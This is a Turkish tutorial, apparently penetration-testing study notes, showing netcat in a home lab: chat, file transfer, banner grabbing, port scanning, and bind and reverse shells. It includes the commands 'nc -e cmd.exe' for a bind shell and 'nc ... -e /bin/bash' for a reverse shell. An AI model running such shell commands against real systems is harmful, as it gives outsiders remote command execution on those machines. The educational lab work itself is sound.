Netcat Yetenekleri

Netcat çok yönlü bir tool'dur. TCP ve UDP portlarına read ve write yapma işlemlerinde kullanılır. Netcat Tcp ve Udp portlarına bağlanarak

- Network servisine bağlanılıp bağlanılamadığını
- Network servisinin banner'ının okunup okunamadığını ve
- Portun açık olup olmadığını

öğrenmemizi sağlar. Bu temel yetenekleri aşağıdaki gibi başlıklandıralım:

a. İstemci - Sunucu Olabilme
b. Dosya Transferi Yapabilme
c. Bind Shell Yapabilme
d. Reverse Shell Yapabilme
e. Banner Bilgisini Okuyabilme
f. Port Açık mı Kontrolü Yapabilme

a. İstemci - Sunucu Olabilme

(+) Birebir denenmiştir ve başarıyla uygulanmıştır.

Netcat hem istemci hem de sunucusu olabilmektedir. Şimdi verilecek örnekte Windows XP (Dandik) makinası nc ile kendi 4444ncü portunu dinleyecektir ve Kali (Eski) ise nc ile Windows XP (Dandik)'in 4444ncü portuna bağlanacaktır.

Gereksinimler

- Windows XP (Dandik) // nc.exe
- Kali (Eski) // nc

Öncelikle Windows XP (Dandik)'te netcat varsayılan olarak yer almadığından Windows XP (Dandik)'e netcat.exe yükleyelim. Bunun için netcat.exe'yi internetten bulabileceğimiz gibi Kali (Eski)'de yer alan bir dizinden de elde edebiliriz.

Kali (Eski)

/usr/share/windows-binaries/nc.exe

Yukarıdaki dosyayı bir cloud hizmetine (örn; mega.nz) yükleyip Windows XP (Dandik)'e indirdiğimizi varsayalım.

Windows XP (Dandik) Konsol:

> nc.exe -h

Output:

```
[v1.10 NT]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [options] [hostname] [port]
options:
        -d              detach from console, stealth mode
        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanne
        -l              listen mode, for inbound connects
        -L              listen harder, re-listen on socket close
        -n              numeric-only IP addresses, no DNS
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer TELNET negotiation
        -u              UDP mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
```

Ardından Windows XP 'yi sunucu Kali'yi de istemci yapalım.

Windows XP (Dandik) Konsol:

> nc.exe -nlvp 4444

Output

listening on [any] 4444 …

Kali (Eski) Konsol:

> nc -nv 172.16.3.52 4444 // Windows XP (Dandik) IP'si konur.

Not: -n address dönüşümü yapma demektir
-l listen modda bulun demektir.
-v verbose demektir.
-p port numarası demektir.

Yukarıdaki işlemle Windows XP (Dandik) kendi 4444ncü portunu dinler vaziyettedir. Kali (Eski) ise Windows XP (Dandik)'in 444ncü portuna bağlanmaktadır. Kali (Eski) makinası Windows XP (Dandik)'e bağlandığında aşağıdaki çıktılar meydana gelecektir.

Windows XP (Dandik) Konsol:

> nc.exe -nlvp 4444

Output
listening on [any] 4444 …
connect to [172.16.3.52] from (UNKNOWN) [172.16.3.89] 40755

Kali (Eski) Konsol:

> nc -nv 172.16.3.52 4444

Output
(UNKNOWN) [172.16.3.52] 4444 (?) open

Görüldüğü üzere Kali (Eski) konsolunaa bağlanılan sistemin 4444ncü portunun açık olduğu bilisi gelmiştir. Windows XP (Dandik) konsoluna ise Kali (Eski)'nin sisteme bağlandığı bilgisi gelmiştir. Şimdi oluşan kanalla beraber chat yapabiliriz.

Kali'den mesaj girilir.

Windows XP (Dandik) Konsol:

> nc.exe -nlvp 4444

Output
listening on [any] 4444 …
connect to [172.16.3.52] from (UNKNOWN) [172.16.3.89] 40755

Kali (Eski) Konsol:

> nc -nv 172.16.3.52 4444

Output
(UNKNOWN) [172.16.3.52] 4444 (?) open
This chat comes from linux // Kali'den girilen mesaj.

Windows mesajı alır.

Windows XP (Dandik) Konsol:

> nc.exe -nlvp 4444

Output

listening on [any] 4444 …
connect to [172.16.3.52] from (UNKNOWN) [172.16.3.89] 40755
This chat comes from linux // Windows'a gelen mesaj

Kali (Eski) Konsol:

> nc -nv 172.16.3.52 4444

Output

(UNKNOWN) [172.16.3.52] 4444 (?) open
This chat comes from linux

Windows'dan mesaj girilir.

Windows XP (Dandik) Konsol:

> nc.exe -nlvp 4444

Output

listening on [any] 4444 …
connect to [172.16.3.52] from (UNKNOWN) [172.16.3.89] 40755
This chat comes from linux
This chat comes from windows // Windows'dan girilen mesaj

Kali (Eski) Konsol:

> nc -nv 172.16.3.52 4444

Output

(UNKNOWN) [172.16.3.52] 4444 (?) open
This chat comes from linux

Kali mesajı alır.

Windows XP (Dandik) Konsol:

> nc.exe -nlvp 4444

Output

listening on [any] 4444 …
connect to [172.16.3.52] from (UNKNOWN) [172.16.3.89] 40755
This chat comes from linux
This chat comes from windows

Kali (Eski) Konsol:

> nc -nv 172.16.3.52 4444

Output

(UNKNOWN) [172.16.3.52] 4444 (?) open
This chat comes from linux
This chat comes from windows // Kali'ye gelen mesaj

b. Dosya Transferi Yapabilme

(+) Bu başlık birebir uygulanmıştır ve başarıyla gerçekleştirilmiştir.

Netcat bir bilgisayardan diğerine hem text hem de binary dosyaları transfer edebilmektedir. Şimdi netcat ile linux bir sistemden Windows bir sisteme dosya transfer edelim.

Gereksinimler

- Windows XP (Dandik) // nc.exe
- Kali (Eski) // nc

Öncelikle Windows XP (Dandik)'te netcat varsayılan olarak yer almadığından Windows XP (Dandik)'e netcat.exe yükleyelim. Bunun için netcat.exe'yi internetten bulabileceğimiz gibi Kali (Eski)'de yer alan bir dizinden de elde edebiliriz.

Kali (Eski)

/usr/share/windows-binaries/nc.exe

Yukarıdaki dosyayı bir cloud hizmetine (örn; mega.nz) yükleyip Windows XP (Dandik)'e indirdiğimizi varsayalım.

Windows XP (Dandik) Konsol:

> nc.exe -h

Output:

```
[v1.10 NT]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [options] [hostname] [port]
options:
        -d              detach from console, stealth mode
        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanne
        -l              listen mode, for inbound connects
        -L              listen harder, re-listen on socket close
        -n              numeric-only IP addresses, no DNS
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer TELNET negotiation
        -u              UDP mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
```

Ardından Windows XP (Dandik)'de bir listener açalım ve port 4444 ü dinlesin.

Windows XP (Dandik) Konsol:

> nc.exe -nlvp 4444 > incoming.exe

Output:

listening on [any] 4444 ….

Görüldüğü üzere listener 4444ncü portu dinlemektedir ve dışarıdan gelecek verileri incoming.exe'ye yazar durumda ayarlanmıştır. Şimdi Kali (Eski)'den wget.exe adlı dosyayı Windows XP (Dandik)'in 4444ncü portuna push'layalım.

Kali (Eski) Konsol:

```
>  nc -nv 10.0.0.22 4444 < /usr/share/windows-binaries/wget.exe
(UNKNOWN) [10.0.0.22] 4444 (?) open
```

Windows XP (Dandik) konsolda aşağıdaki bildirim görüntülenecektir.

Windows XP (Dandik) Konsol:

Output:

listening on [any] 4444 ….
connect to [172.16.3.52] from (UNKNOWN) [172.16.3.89] 40901

Normalde bir süre sonra dosya transferi tamamlandığında bağlantı sonlanacaktır. Fakat bu uygulamada sonlanmadığından bir süre sonra elle (CTRL + C ile) bağlantıyı sonlandıralım ve Kali (Eski) sisteminden Windows XP (Dandik) sistemine wget.exe dosyası doğru bir şekilde transfer edilmiş mi test edelim.

Windows XP (Dandik) Konsol:

> incoming.exe -h

Output:

```
GNU Wget 1.9.1, a non-interactive network retriever.
Usage: incoming [OPTION]... [URL]...

Mandatory arguments to long options are mandatory for short options too.

Startup:
  -V,  --version           display the version of Wget and exit.
  -h,  --help              print this help.
  -b,  --background        go to background after startup.
  -e,  --execute=COMMAND   execute a `.wgetrc'-style command.

Logging and input file:
  -o,  --output-file=FILE     log messages to FILE.
  -a,  --append-output=FILE   append messages to FILE.
  -d,  --debug                print debug output.
  -q,  --quiet                quiet (no output).
  -v,  --verbose              be verbose (this is the default).
  -nv, --non-verbose          turn off verboseness, without being quiet.
  -i,  --input-file=FILE      download URLs found in FILE.
  -F,  --force-html           treat input file as HTML.
  -B,  --base=URL             prepends URL to relative links in -F -i file.

Download:
  -t,  --tries=NUMBER           set number of retries to NUMBER (0 unlimits).
       --retry-connrefused      retry even if connection is refused.
  -O   --output-document=FILE   write documents to FILE.
  -nc, --no-clobber             don't clobber existing files or use .# suffixes.

  -c,  --continue               resume getting a partially-downloaded file.
       --progress=TYPE          select progress gauge type.
  -N,  --timestamping           don't re-retrieve files unless newer than local.

  -S,  --server-response        print server response.
       --spider                 don't download anything.
```

```
  -T,  --timeout=SECONDS        set all timeout values to SECONDS.
       --dns-timeout=SECS       set the DNS lookup timeout to SECS.
       --connect-timeout=SECS   set the connect timeout to SECS.
       --read-timeout=SECS      set the read timeout to SECS.
  -w,  --wait=SECONDS           wait SECONDS between retrievals.
       --waitretry=SECONDS      wait 1...SECONDS between retries of a retrieval.

       --random-wait            wait from 0...2*WAIT secs between retrievals.
  -Y,  --proxy=on/off           turn proxy on or off.
  -Q,  --quota=NUMBER           set retrieval quota to NUMBER.
       --bind-address=ADDRESS   bind to ADDRESS (hostname or IP) on local host.
       --limit-rate=RATE        limit download rate to RATE.
       --dns-cache=off          disable caching DNS lookups.
       --restrict-file-names=OS restrict chars in file names to ones OS allows.

Directories:
  -nd, --no-directories            don't create directories.
  -x,  --force-directories         force creation of directories.
  -nH, --no-host-directories       don't create host directories.
  -P,  --directory-prefix=PREFIX   save files to PREFIX/...
       --cut-dirs=NUMBER           ignore NUMBER remote directory components.

HTTP options:
       --http-user=USER      set http user to USER.
       --http-passwd=PASS    set http password to PASS.
            -C,  --cache=on/off        (dis)allow server-cached data (normally allowed).
  -E,  --html-extension      save all text/html documents with .html extension.
       --ignore-length       ignore `Content-Length' header field.
       --header=STRING       insert STRING among the headers.
       --proxy-user=USER     set USER as proxy username.
       --proxy-passwd=PASS   set PASS as proxy password.
       --referer=URL         include `Referer: URL' header in HTTP request.
  -s,  --save-headers        save the HTTP headers to file.
  -U,  --user-agent=AGENT    identify as AGENT instead of Wget/VERSION.
       --no-http-keep-alive  disable HTTP keep-alive (persistent connections).
       --cookies=off         don't use cookies.
       --load-cookies=FILE   load cookies from FILE before session.
       --save-cookies=FILE   save cookies to FILE after session.
       --post-data=STRING    use the POST method; send STRING as the data.
       --post-file=FILE      use the POST method; send contents of FILE.

HTTPS (SSL) options:
       --sslcertfile=FILE     optional client certificate.
       --sslcertkey=KEYFILE   optional keyfile for this certificate.
       --egd-file=FILE        file name of the EGD socket.
       --sslcadir=DIR         dir where hash list of CA's are stored.
       --sslcafile=FILE       file with bundle of CA's
       --sslcerttype=0/1      Client-Cert type 0=PEM (default) / 1=ASN1 (DER)
       --sslcheckcert=0/1     Check the server cert agenst given CA
       --sslprotocol=0-3      choose SSL protocol; 0=automatic,
                                1=SSLv2 2=SSLv3 3=TLSv1

FTP options:
  -nr, --dont-remove-listing   don't remove `.listing' files.
  -g,  --glob=on/off           turn file name globbing on or off.
       --passive-ftp           use the "passive" transfer mode.
       --retr-symlinks         when recursing, get linked-to files (not dirs).

Recursive retrieval:
  -r,  --recursive          recursive download.
  -l,  --level=NUMBER       maximum recursion depth (inf or 0 for infinite).
```

```
     --delete-after       delete files locally after downloading them.
  -k,  --convert-links      convert non-relative links to relative.
  -K,  --backup-converted   before converting file X, back up as X.orig.
  -m,  --mirror             shortcut option equivalent to -r -N -l inf -nr.
  -p,  --page-requisites    get all images, etc. needed to display HTML page.
       --strict-comments    turn on strict (SGML) handling of HTML comments.

Recursive accept/reject:
  -A,  --accept=LIST                comma-separated list of accepted extensions.

  -R,  --reject=LIST                comma-separated list of rejected extensions.

  -D,  --domains=LIST               comma-separated list of accepted domains.
       --exclude-domains=LIST       comma-separated list of rejected domains.
       --follow-ftp                 follow FTP links from HTML documents.
       --follow-tags=LIST           comma-separated list of followed HTML tags.
  -G,  --ignore-tags=LIST           comma-separated list of ignored HTML tags.
  -H,  --span-hosts                 go to foreign hosts when recursive.
  -L,  --relative                   follow relative links only.
  -I,  --include-directories=LIST   list of allowed directories.
  -X,  --exclude-directories=LIST   list of excluded directories.
  -np, --no-parent                  don't ascend to the parent directory.

Mail bug reports and suggestions to <bug-wget@gnu.org>.
```

Görüldüğü üzere Windows XP (Dandik)'e wget.exe programı sorunsuz bir şekilde transfer edilebilmiştir.

c. Bind Shell Yapabilme

Netcat'in en kullanışlı özelliklerinden biri de komut yönlendirme yapabilmesidir. Netcat çalıştırılabilir bir dosyayı alıp bu dosyanın input'unu, output'unu ve error mesajlarını varsayılan konsol yerine başka bir tcp/udp portuna yönlendirebilmektedir.

Şimdi diyelim ki NAT arkasında linux makina kullanan Alice Public IP kullanan Bob'a komut gönderebilmek istesin. Bu işlem için Bob kendindeki cmd.exe programını kendi public IP'sinin bir TCP portuna bind'lasın ve Alice'e de kendi IP'sinin bind olan portuna bağlanmasını söylesin.

Bind shell

[NAT]	[Public IP] (DMZ)
nc -nv Bob-Ip 4444	nc -nlvp 4444 -e cmd.exe
Alice (Linux)	Bob (Windows)

Görüldüğü üzere Alice Bob'ın 4444ncü portuna bağlanmaktadır ve Bob ise 4444ncü portunda cmd.exe programını çalıştırmaktadır. Böylelikle Alice ileteceği komutları Bob'un komut satında çalıştırmış olacaktır ve çalışan komutların stdout ya da stderr'leri ise Bob'un 4444ncü portu üzerinden Alice'e gönderilmiş olacaktır.

Sonuç olarak bind shell ile bir programın stdin'i, stdout'u ve stderr'i belirli bir tcp / udp portuna, yani network'e yönlendirilebilmektedir.

d. Reverse Shell Yapabilme

Netcat'in en kullanışlı özelliklerinden biri de komut yönlendirme yapabilmesidir. Netcat çalıştırılabilir bir dosyayı alıp bu dosyanın input'unu, output'unu ve error mesajlarını varsayılan konsol yerine başka bir tcp/udp portuna yönlendirebilmektedir.

Şimdi diyelim ki Public IP kullanan Bob NAT arkasındaki Alice'e komut gönderebilmek istesin. Bu işlem için Alice kendindeki /bin/bash'i bir tcp / udp portuna bind edemediğinden onun yerine /bind/ bash kontrolünü dış network'teki bir bilgisayara emanet etsin. Buna reverse shell adı verilmektedir.

Reverse shell

[NAT]	[Public IP] (DMZ)
nc -nv Bob-Ip 4444 -e /bin/bash	nc -nlvp 4444
Alice (Linux)	Bob (Windows)

Görüldüğü üzere Alice 4444ncü portu üzerinden /bin/bash'ini Bob'un makinasına emanet etmektedir. Böylece Bob Alice'in 4444ncü portuna bağlanarak gireceği komutları Alice'in makinasında çalıştırabilecektir.

Sonuç olarak reverse shell ile bir programın stdin, stdout ve stderr'ini belirli bir tcp / udp portuna, yani network'e yönlendirebilmekteyiz.

Bind Shell vs. Reverse Shell

Bind shell ve reverse shell ile bir programı ve programa giren input'u, çıkan output'u ve hata mesajlarını belirli bir porta taşıyabiliyoruz. Aralarındaki fark bağlantı kuracak iki bilgisayarın hangisinin önünde firewall'un bulunduğudur. Yani eğer A bilgisayarı firewall'a takılarak B'ye ulaşabiliyorsa B A'ya bind shell ile ulaşamaz. Ancak A reverse shell ile kendini B'ye açarsa B A'ya ulaşabilir. Veyahut B bilgisayarı A'ya açılmak istiyorsa ve önünde firewall yoksa bind shell yaparak A nın kendisine bağlanabilmesini sağlayabilir.

e. Banner Okuyabilme

(+) Bu başlık birebir denenmiştir ve başarıyla uygulanmıştır.

Gereksinimler

Kali (Eski)	// Apache Sunucu
Ubuntu 14.04 LTS	// NC İstemci

Kali (Eski)'de apache sunucuyu başlatalım.

Kali (Eski) Konsol:

```
> service apache2 start
```

Ubuntu ana makinasından netcat ile apache sunucusunun banner'ını okuyalım.

Ubuntu 14.04 LTS Konsol:

```
> service apache2 start
> nc 127.0.0.1 80
HEAD / HTTP/1.0
```

Output:

```
HTTP/1.1 200 OK
Date: Wed, 31 Jan 2018 12:40:10 GMT
Server: Apache/2.2.22 (Debian)
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
```

Görüldüğü üzere netcat ile hedef web sunucusu servisinin banner bilgisi ekrana gelmiştir.

f. Port Açık mı Kontrolü

(+) Bu başlık birebir denenmiştir ve başarıyla uygulanmıştır.

Netcat ile tcp syn scan methodu uygulanarak port taraması yapılabilmektedir. Örn;

Ubuntu 14.04 LTS Konsol:

```
> service apache2 start
> nc -nvv -w 1 -z 127.0.0.1 70-90
```

Output:

```
nc: connect to 127.0.0.1 port 70 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 71 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 72 (tcp) failed: Connection refused
```

nc: connect to 127.0.0.1 port 73 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 74 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 75 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 76 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 77 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 78 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 79 (tcp) failed: Connection refused
Connection to 127.0.0.1 80 port [tcp/*] succeeded!
nc: connect to 127.0.0.1 port 81 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 82 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 83 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 84 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 85 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 86 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 87 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 88 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 89 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 90 (tcp) failed: Connection refused

Not: -n adres çözümlemesi yapma demektir
-vv ultra verbose demektir.
-w bağlantı için time out süresini saniye cinsinden belirtir.
-z belirli bir port aralığını taramak için kullanılan parametredir.

Görüldüğü üzere netcat ile Ubuntu sistemimizdeki 70 - 90 portlarını taranmıştır ve açık olan port bilgisi ekrana düşmüştür. 127.0.0.1 yerine hedef makinaların IP'si konarak hedef makinalara port taraması yapılabilmektedir.

Bir port aralığını taramak yerine sadece bir port da taranabilir:

Ubuntu 14.04 LTS Konsol:

> nc -nv 127.0.0.1 80

Output:

Connection to 127.0.0.1 80 port [tcp/*] succeeded!
^C

Ubuntu 14.04 LTS Konsol:

> nc -nv 127.0.0.1 35

Output:

nc: connect to 127.0.0.1 port 35 (tcp) failed: Connection refused

Kaynak

Penetration Testing With Kali Linux.pdf, Yaz Tatili 2014 / Tubitak / OSCP / Resmi Belgeler / , syf. 50
Penetration Testing With Kali Linux.pdf, Yaz Tatili 2014 / Tubitak / OSCP / Resmi Belgeler / , syf. 108
https://www.geeksforgeeks.org/difference-between-bind-shell-and-reverse-shell/#:~:text=Bind%20Shells%20have%20the%20listener,the%20attacker%20with%20a%20shell.